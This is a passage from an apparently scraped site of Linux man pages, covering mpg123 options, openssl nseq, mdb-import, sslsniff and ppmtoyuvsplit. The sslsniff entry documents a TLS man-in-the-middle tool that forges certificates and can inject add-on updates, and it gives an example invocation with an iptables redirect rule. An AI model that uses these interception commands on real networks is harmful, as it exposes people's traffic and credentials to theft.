Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2090 - Linux cli command nseqssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nseqssl and provides detailed information about the command nseqssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nseqssl.

NAME 🖥️ nseqssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2091 - Linux cli command mdb-import

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-import and provides detailed information about the command mdb-import, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-import.

NAME 🖥️ mdb-import 🖥️

import** - Import CSV data into an MDB database.

SYNOPSIS

mdb-import [-H lines] [-d char] database table csvfile
mdb-import -h|--help
mdb-import --version

DESCRIPTION

mdb-import is a utility program distributed with MDB Tools.

It reads a CSV (comma separated value) file and add the data into table of database**.**

OPTIONS

-H, –header lines
Skip lines of CSV header.

-d, –delimiter char
Specify an alternative column delimiter. Default is , (comma).

–version
Print the mdbtools version and exit

NOTES

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the input charset to use for the SQL file. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

HISTORY

mdb-import first appeared in MDB Tools 0.7.

AUTHORS

The mdb-import utility was written by Brian Bruns.

BUGS

mdb-import does not enforce any kind of checks. You can violate constraints.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2092 - Linux cli command sslsniff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sslsniff and provides detailed information about the command sslsniff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sslsniff.

NAME 🖥️ sslsniff 🖥️

SSL/TLS man-in-the-middle attack tool

SYNOPSIS

sslsniff [options]

DESCRIPTION

This manual page documents briefly the sslsniff command.

sslsniff is designed to create man-in-the-middle (MITM) attacks for SSL/TLS connections, and dynamically generates certs for the domains that are being accessed on the fly. The new certificates are constructed in a certificate chain that is signed by any certificate that is provided.
sslsniff also supports other attacks like null-prefix or OCSP attacks to achieve silent interceptions of connections when possible.

OPTIONS

Modes:

-a
Authority mode. Specify a certificate that will act as a CA.

-t
Targeted mode. Specify a directory full of certificates to target.

Required options:
-c <file|directory>
File containing CA cert/key (authority mode) or directory containing a collection of certs/keys (targeted mode)

-s <port>
Port to listen on for SSL interception.

-w <file>
File to log to

Optional options:
-u <updateLocation>
Location of any Firefox XML update files.

-m <certificateChain>
Location of any intermediary certificates.

-h <port>
Port to listen on for HTTP interception (required for fingerprinting).

-f <ff,ie,safari,opera>
Only intercept requests from the specified browser(s).

-d
Deny OCSP requests for our certificates.

-p
Only log HTTP POSTs

-e <url>
Intercept Mozilla Addon Updates

-j <sha256>
The sha256sum value of the addon to inject

NOTES

sslsniff works only on the FORWARD traffic (not on INPUT or OUTPUT).

EXAMPLES

To intercept traffic on port 8443, start sslsniff on a local port:

sslsniff -a -c /usr/share/sslsniff/certs/wildcard -s 4433 -w /tmp/sslsniff.log

and redirect traffic to this port using the iptables nat table:

iptables -t nat -A PREROUTING -p tcp –destination-port 8443 -j REDIRECT –to-ports 4433

AUTHOR

sslsniff was written by Moxie Marlinspike.

This manual page was written by Pierre Chifflier <[email protected]>, for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2093 - Linux cli command ppmtoyuvsplit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoyuvsplit and provides detailed information about the command ppmtoyuvsplit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoyuvsplit.

.

NAME 🖥️ ppmtoyuvsplit 🖥️

convert a PPM image to 3 subsampled raw YUV files

SYNOPSIS

ppmtoyuvsplit basename [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoyuvsplit reads a PPM image as input. Produces 3 raw files basename.Y, basename.U and basename.V as output.

The output files are the subsampled raw YUV representation of the input PPM image, as required by the Stanford MPEG codec. The Y output file contains a byte for each pixel in the image, with the rows going from top to bottom and the columns within each row going left to right. The U and V output files are arranged similarly, except that each byte represents a square of 4 pixels of the image. The value is the arithmetic mean of the value for each of those 4 pixels. Hence, the Y file is 4 times the size of the U file or V file.

The YUV values are scaled according to CCIR.601, as assumed by MPEG.

OPTIONS

There are no command line options defined specifically for ppmtoyuvsplit, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

yuvsplittoppm(1) , ppmtoyuv(1) , ppmtoeyuv(1) , ppmtompeg(1) , ppm(1)

AUTHOR

Copyright (C) 1993 by Andre Beck. ([email protected])

Based on ppmtoyuv.c

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoyuvsplit.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2094 - Linux cli command lefty

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lefty and provides detailed information about the command lefty, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lefty.

NAME 🖥️ lefty 🖥️

A Programmable Graphics Editor

SYNOPSIS

lefty [ options ] [ file ]

DESCRIPTION

